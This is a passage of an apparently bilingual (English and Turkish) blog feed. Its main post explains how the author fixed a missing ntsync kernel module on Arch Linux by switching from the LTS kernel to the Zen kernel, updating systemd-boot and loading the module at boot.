&lt;p&gt;RADV s&amp;uuml;r&amp;uuml;c&amp;uuml;s&amp;uuml;, Valve m&amp;uuml;hendisleri taraf&amp;inodot;ndan Steam Deck ve Linux oyunculu&amp;gbreve;u i&amp;ccedil;in s&amp;uuml;rekli optimize ediliyor. AMDVLK ise daha kurumsal odakl&amp;inodot; kalabiliyor.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Donanım"/><category term="linux"/><category term="gpu driver"/><category term="nvidia"/><category term="amd"/><category term="intel"/><category term="mesa"/><category term="steamos"/><category term="oyun"/><category term="debian"/></entry><entry><title>How to Enable ntsync on Arch Linux?</title><link href="https://yuceltoluyag.github.io/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="alternate"/><published>2025-11-30T09:45:00+03:00</published><updated>2025-11-30T09:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/</id><summary type="html">&lt;p&gt;I installed ntsync-supported Wine and Proton to boost gaming performance, but I forgot one thing: the Kernel! Here is the ntsync error and its solution.&lt;/p&gt;</summary><content type="html">&lt;p&gt;It all started with an innocent passion for performance. You know those "micro-stuttering" hiccups while gaming on Linux&amp;mdash;they can drive a person crazy. So I said, "Let me try this famous &lt;code&gt;ntsync&lt;/code&gt; thing; it handles Windows NT synchronization at the kernel level, FPS will soar."&lt;/p&gt;
&lt;p&gt;I immediately dived into the AUR and pulled these two "elite" packages into my system:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://aur.archlinux.org/packages/wine-tkg-staging-ntsync-bin" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;wine-tkg-staging-ntsync-bin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aur.archlinux.org/packages/proton-xiv-bin" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;proton-xiv-bin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The packages were downloaded and installed. Thinking, "That's it, we're flying now," I restarted the system. But there was a small(!) detail I had forgotten, or rather, skipped.&lt;/p&gt;
&lt;p&gt;When I decided to check the logs, I saw the system complaining to me...&lt;/p&gt;
&lt;h2 id="the-error-i-dont-recognize-this-module"&gt;The Error: "I Don't Recognize This Module!"&lt;a class="headerlink" href="#the-error-i-dont-recognize-this-module" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I took a look at the boot logs (&lt;code&gt;journalctl -b -p err&lt;/code&gt;), and the system was shouting:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Nov&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01&lt;/span&gt;:41:10&lt;span class="w"&gt; &lt;/span&gt;baba&lt;span class="w"&gt; &lt;/span&gt;systemd-modules-load&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;445&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Failed&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ntsync'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It's safe to say I was caught off guard. I had installed the software (Wine/Proton), but it turns out I hadn't prepared the ground beneath it. I checked the kernel version I was using:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;uname&lt;span class="w"&gt; &lt;/span&gt;-r
&lt;span class="m"&gt;6&lt;/span&gt;.6.63-1-lts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The problem was as clear as day. I was using the LTS (Long Term Support) kernel, but experimental and new features like &lt;code&gt;ntsync&lt;/code&gt; weren't available in version 6.6. In other words, I was trying to put a Ferrari engine into a sedan chassis. This feature comes by default in Kernel 6.14 and later, especially in customized kernels like the &lt;strong&gt;Zen Kernel&lt;/strong&gt;.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Anyway, we understood the mistake. The solution is simple: Change the kernel!&lt;/p&gt;
&lt;h2 id="step-1-installing-the-zen-kernel"&gt;Step 1: Installing the Zen Kernel&lt;a class="headerlink" href="#step-1-installing-the-zen-kernel" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Don't let changing the kernel on Arch Linux intimidate you; it's actually no different from installing any other package. I immediately opened the terminal and downloaded &lt;code&gt;linux-zen&lt;/code&gt; and its headers.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;linux-zen&lt;span class="w"&gt; &lt;/span&gt;linux-zen-headers
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Don't Forget the Headers Package ⚡ If you're using Nvidia or have other modules compiled with dkms (VirtualBox, etc.), your graphics card might not work when the system boots if you don't install the &lt;code&gt;linux-zen-headers&lt;/code&gt; package. Be careful.&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Arch Linux NVIDIA Graphics Card Installation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-linux-firmware-nvidia-hatasi-cozumu/"&gt;Arch Linux Linux Firmware NVIDIA Error Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-gpu-driver-rehberi/"&gt;Linux and SteamOS Graphics Driver Installation and Update Guide&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="step-2-bootloader-configuration-systemd-boot"&gt;Step 2: Bootloader Configuration (Systemd-boot)&lt;a class="headerlink" href="#step-2-bootloader-configuration-systemd-boot" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Installing the package isn't enough; we need to warn the system: "Listen, buddy, you're going to boot with this new kernel now." I use &lt;code&gt;systemd-boot&lt;/code&gt;, and here's how I configured the settings.&lt;/p&gt;
&lt;p&gt;First, I copied my current configuration (just in case, backups are life):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/boot/loader/entries/arch.conf&lt;span class="w"&gt; &lt;/span&gt;/boot/loader/entries/arch-zen.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then I opened the new file (&lt;code&gt;arch-zen.conf&lt;/code&gt;) and replaced the &lt;code&gt;-lts&lt;/code&gt; strings with &lt;code&gt;-zen&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;title   Arch Linux Zen
linux   /vmlinuz-linux-zen
initrd  /initramfs-linux-zen.img
options root=PARTUUID=xxxx-xxxx-xxxx-xxxx rw quiet
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="step-3-enabling-the-module-permanently"&gt;Step 3: Enabling the Module Permanently&lt;a class="headerlink" href="#step-3-enabling-the-module-permanently" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We installed the kernel and did the configuration, but let's not leave it to chance. We must create a small configuration file so that this module is loaded automatically at every boot. Otherwise, we'd have to deal with &lt;code&gt;modprobe&lt;/code&gt; every time.&lt;/p&gt;
&lt;p&gt;To do this, we go under &lt;code&gt;/etc/modules-load.d/&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/modules-load.d/ntsync.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Just write the name of the module in the file and save it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ntsync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After this process, we restart the system for the changes to take effect:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="the-grand-finale-is-ntsync-active"&gt;The Grand Finale: Is ntsync Active?&lt;a class="headerlink" href="#the-grand-finale-is-ntsync-active" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The computer booted up, and I immediately ran to the terminal. First, I confirmed the kernel version: &lt;code&gt;6.17.9-zen1-1-zen&lt;/code&gt;. Great.&lt;/p&gt;
&lt;p&gt;But what about the &lt;code&gt;ntsync&lt;/code&gt; module that those Wine and Proton packages I installed needed?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;modinfo&lt;span class="w"&gt; &lt;/span&gt;ntsync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The output was exactly what I wanted:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;filename:&lt;span class="w"&gt;       &lt;/span&gt;/lib/modules/6.17.9-zen1-1-zen/kernel/drivers/misc/ntsync.ko.zst
license:&lt;span class="w"&gt;        &lt;/span&gt;GPL
description:&lt;span class="w"&gt;    &lt;/span&gt;Kernel&lt;span class="w"&gt; &lt;/span&gt;driver&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;NT&lt;span class="w"&gt; &lt;/span&gt;synchronization&lt;span class="w"&gt; &lt;/span&gt;primitives
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The module was now loaded, and the error messages were a thing of the past. This meant those &lt;code&gt;wine-tkg&lt;/code&gt; and &lt;code&gt;proton-xiv&lt;/code&gt; packages I installed could finally do their job.&lt;/p&gt;
&lt;p&gt;In short, if you, like me, install special Wine versions to "increase performance in games" and then pull your hair out wondering "Why isn't this working?", take a look at your kernel version. Sometimes the solution lies simply in switching to a more "Zen" kernel. 😎&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;LTS kernels contain older technologies for stability. For gaming and new hardware features, the Mainline or Zen kernel is usually preferred.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="arch linux"/><category term="ntsync"/><category term="gaming"/><category term="zen kernel"/><category term="wine"/><category term="proton"/></entry><entry><title>Arch Linux'ta ntsync Nasıl Aktif Edilir?</title><link href="https://yuceltoluyag.github.io/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="alternate"/><published>2025-11-30T09:45:00+03:00</published><updated>2025-11-30T09:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-30:/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/</id><summary type="html">&lt;p&gt;Oyun performansını artırmak için ntsync destekli Wine ve Proton kurdum ama unuttuğum bir şey vardı: Kernel! İşte ntsync hatası ve çözümü.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Her &amp;scedil;ey masum bir performans sevdas&amp;inodot;yla ba&amp;scedil;lad&amp;inodot;. Linux'ta oyun oynarken o "micro-stuttering" denilen tak&amp;inodot;lmalar&amp;inodot; bilirsiniz, adam&amp;inodot; deli eder. Ben de "&amp;Scedil;u me&amp;scedil;hur &lt;code&gt;ntsync&lt;/code&gt; olay&amp;inodot;n&amp;inodot; bir deneyeyim, Windows NT senkronizasyonunu kernel seviyesinde yap&amp;inodot;yormu&amp;scedil;, FPS u&amp;ccedil;ar gider" dedim.&lt;/p&gt;
&lt;p&gt;Hemen AUR'a dald&amp;inodot;m ve i&amp;scedil;in "kaymak" tabakas&amp;inodot; olan &amp;scedil;u iki paketi sisteme &amp;ccedil;ektim:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="https://aur.archlinux.org/packages/wine-tkg-staging-ntsync-bin" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;wine-tkg-staging-ntsync-bin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aur.archlinux.org/packages/proton-xiv-bin" rel="noopener noreferrer" target="_blank"&gt;&lt;strong&gt;proton-xiv-bin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Paketler indi, kuruldu. "Tamamd&amp;inodot;r bu i&amp;scedil;, art&amp;inodot;k u&amp;ccedil;uyoruz" diyerek sistemi yeniden ba&amp;scedil;latt&amp;inodot;m. Ama unuttu&amp;gbreve;um, daha do&amp;gbreve;rusu atlad&amp;inodot;&amp;gbreve;&amp;inodot;m ufak(!) bir detay varm&amp;inodot;&amp;scedil;.&lt;/p&gt;
&lt;p&gt;Loglar&amp;inodot; kontrol edeyim dedi&amp;gbreve;imde sistemin bana sitem etti&amp;gbreve;ini g&amp;ouml;rd&amp;uuml;m...&lt;/p&gt;
&lt;h2 id="hata-ben-bu-modulu-tanmyorum"&gt;Hata: "Ben Bu Mod&amp;uuml;l&amp;uuml; Tan&amp;inodot;m&amp;inodot;yorum!"&lt;a class="headerlink" href="#hata-ben-bu-modulu-tanmyorum" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil; loglar&amp;inodot;na (&lt;code&gt;journalctl -b -p err&lt;/code&gt;) bir bakt&amp;inodot;m, sistem bas bas ba&amp;gbreve;&amp;inodot;r&amp;inodot;yor:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Kas&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;01&lt;/span&gt;:41:10&lt;span class="w"&gt; &lt;/span&gt;baba&lt;span class="w"&gt; &lt;/span&gt;systemd-modules-load&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;445&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Failed&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;module&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'ntsync'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kafamdan a&amp;scedil;a&amp;gbreve;&amp;inodot; kaynar sular d&amp;ouml;k&amp;uuml;ld&amp;uuml; desem yeridir. Ben yaz&amp;inodot;l&amp;inodot;m&amp;inodot; (Wine/Proton) kurdum ama me&amp;gbreve;ersem alt&amp;inodot;ndaki zemini haz&amp;inodot;rlamam&amp;inodot;&amp;scedil;&amp;inodot;m. Kulland&amp;inodot;&amp;gbreve;&amp;inodot;m kernel s&amp;uuml;r&amp;uuml;m&amp;uuml;ne bakt&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;uname&lt;span class="w"&gt; &lt;/span&gt;-r
&lt;span class="m"&gt;6&lt;/span&gt;.6.63-1-lts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sorun kabak gibi ortadayd&amp;inodot;. Ben LTS (Uzun D&amp;ouml;nem Destek) kernel kullan&amp;inodot;yordum ama &lt;code&gt;ntsync&lt;/code&gt; gibi deneysel ve yeni &amp;ouml;zellikler 6.6 s&amp;uuml;r&amp;uuml;m&amp;uuml;nde yoktu. Yani Ferrari motorunu &amp;Scedil;ahin kasas&amp;inodot;na takmaya &amp;ccedil;al&amp;inodot;&amp;scedil;m&amp;inodot;&amp;scedil;&amp;inodot;m. Bu &amp;ouml;zellik Kernel 6.14 ve sonras&amp;inodot;nda, &amp;ouml;zellikle de &lt;strong&gt;Zen Kernel&lt;/strong&gt; gibi &amp;ouml;zelle&amp;scedil;tirilmi&amp;scedil; &amp;ccedil;ekirdeklerde varsay&amp;inodot;lan olarak geliyordu.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Neyse, hatay&amp;inodot; anlad&amp;inodot;k. &amp;Ccedil;&amp;ouml;z&amp;uuml;m basit: Kernel de&amp;gbreve;i&amp;scedil;ecek!&lt;/p&gt;
&lt;h2 id="adm-1-zen-kernel-kurulumu"&gt;Ad&amp;inodot;m 1: Zen Kernel Kurulumu&lt;a class="headerlink" href="#adm-1-zen-kernel-kurulumu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Arch Linux'ta kernel de&amp;gbreve;i&amp;scedil;tirmek g&amp;ouml;z&amp;uuml;n&amp;uuml;z&amp;uuml; korkutmas&amp;inodot;n, asl&amp;inodot;nda bir paket y&amp;uuml;klemekten farks&amp;inodot;z. Hemen terminali a&amp;ccedil;&amp;inodot;p &lt;code&gt;linux-zen&lt;/code&gt; ve ba&amp;scedil;l&amp;inodot;k dosyalar&amp;inodot;n&amp;inodot; (headers) indirdim.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;linux-zen&lt;span class="w"&gt; &lt;/span&gt;linux-zen-headers
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Headers Paketini Unutma ⚡ E&amp;gbreve;er Nvidia kullan&amp;inodot;yorsan veya dkms ile derlenen ba&amp;scedil;ka mod&amp;uuml;llerin varsa (VirtualBox vs.), &lt;code&gt;linux-zen-headers&lt;/code&gt; paketini kurmazsan sistem a&amp;ccedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda ekran kart&amp;inodot;n &amp;ccedil;al&amp;inodot;&amp;scedil;mayabilir. Aman dikkat.&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-nvidia-ekran-karti-kurulumu/"&gt;Arch Linux NVIDIA Ekran Kart&amp;inodot; Kurulumu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-linux-firmware-nvidia-hatasi-cozumu/"&gt;Arch Linux Linux Firmware NVIDIA Hatas&amp;inodot; &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/linux-gpu-driver-rehberi/"&gt;Linux ve Steamos Grafik Surucusu Y&amp;uuml;klemesi ve G&amp;uuml;ncelleme Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="adm-2-bootloader-ayar-systemd-boot"&gt;Ad&amp;inodot;m 2: Bootloader Ayar&amp;inodot; (Systemd-boot)&lt;a class="headerlink" href="#adm-2-bootloader-ayar-systemd-boot" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Paketi kurmak yetmiyor, sistemi "Bak karde&amp;scedil;im, art&amp;inodot;k bu yeni kernel ile a&amp;ccedil;&amp;inodot;lacaks&amp;inodot;n" diye uyarmam&amp;inodot;z laz&amp;inodot;m. Ben &lt;code&gt;systemd-boot&lt;/code&gt; kullan&amp;inodot;yorum, ayarlar&amp;inodot; da &amp;scedil;&amp;ouml;yle yapt&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;&amp;Ouml;nce mevcut ayar&amp;inodot;m&amp;inodot; kopyalad&amp;inodot;m (ne olur ne olmaz, yedek cand&amp;inodot;r):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/boot/loader/entries/arch.conf&lt;span class="w"&gt; &lt;/span&gt;/boot/loader/entries/arch-zen.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sonra yeni dosyay&amp;inodot; (&lt;code&gt;arch-zen.conf&lt;/code&gt;) a&amp;ccedil;&amp;inodot;p i&amp;ccedil;indeki &lt;code&gt;-lts&lt;/code&gt; ibarelerini &lt;code&gt;-zen&lt;/code&gt; ile de&amp;gbreve;i&amp;scedil;tirdim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;title   Arch Linux Zen
linux   /vmlinuz-linux-zen
initrd  /initramfs-linux-zen.img
options root=PARTUUID=xxxx-xxxx-xxxx-xxxx rw quiet
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="adm-3-modulu-kalc-olarak-aktif-etme"&gt;Ad&amp;inodot;m 3: Mod&amp;uuml;l&amp;uuml; Kal&amp;inodot;c&amp;inodot; Olarak Aktif Etme&lt;a class="headerlink" href="#adm-3-modulu-kalc-olarak-aktif-etme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kerneli kurup yap&amp;inodot;land&amp;inodot;rmay&amp;inodot; yapt&amp;inodot;k ama i&amp;scedil;i &amp;scedil;ansa b&amp;inodot;rakmayal&amp;inodot;m. Bu mod&amp;uuml;l&amp;uuml;n her a&amp;ccedil;&amp;inodot;l&amp;inodot;&amp;scedil;ta otomatik y&amp;uuml;klenmesi i&amp;ccedil;in ufak bir ayar dosyas&amp;inodot; olu&amp;scedil;turmam&amp;inodot;z &amp;scedil;art. Yoksa her seferinde &lt;code&gt;modprobe&lt;/code&gt; ile u&amp;gbreve;ra&amp;scedil;&amp;inodot;r&amp;inodot;z.&lt;/p&gt;
&lt;p&gt;Bunun i&amp;ccedil;in &lt;code&gt;/etc/modules-load.d/&lt;/code&gt; alt&amp;inodot;na gidiyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;nano&lt;span class="w"&gt; &lt;/span&gt;/etc/modules-load.d/ntsync.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dosyan&amp;inodot;n i&amp;ccedil;ine sadece mod&amp;uuml;l&amp;uuml;n ad&amp;inodot;n&amp;inodot; yaz&amp;inodot;p kaydediyoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ntsync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu i&amp;scedil;lemden sonra de&amp;gbreve;i&amp;scedil;ikliklerin ge&amp;ccedil;erli olmas&amp;inodot; i&amp;ccedil;in sistemi yeniden ba&amp;scedil;lat&amp;inodot;yoruz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="buyuk-final-ntsync-aktif-mi"&gt;B&amp;uuml;y&amp;uuml;k Final: ntsync Aktif mi?&lt;a class="headerlink" href="#buyuk-final-ntsync-aktif-mi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bilgisayar a&amp;ccedil;&amp;inodot;ld&amp;inodot;, hemen terminale ko&amp;scedil;tum. &amp;Ouml;nce kernel s&amp;uuml;r&amp;uuml;m&amp;uuml;n&amp;uuml; teyit ettim: &lt;code&gt;6.17.9-zen1-1-zen&lt;/code&gt;. Harika.&lt;/p&gt;
&lt;p&gt;Peki ya o kurdu&amp;gbreve;um Wine ve Proton paketlerinin ihtiya&amp;ccedil; duydu&amp;gbreve;u &lt;code&gt;ntsync&lt;/code&gt; mod&amp;uuml;l&amp;uuml;?&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;lambda;&lt;span class="w"&gt; &lt;/span&gt;friday13&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;rarr;&lt;span class="w"&gt; &lt;/span&gt;modinfo&lt;span class="w"&gt; &lt;/span&gt;ntsync
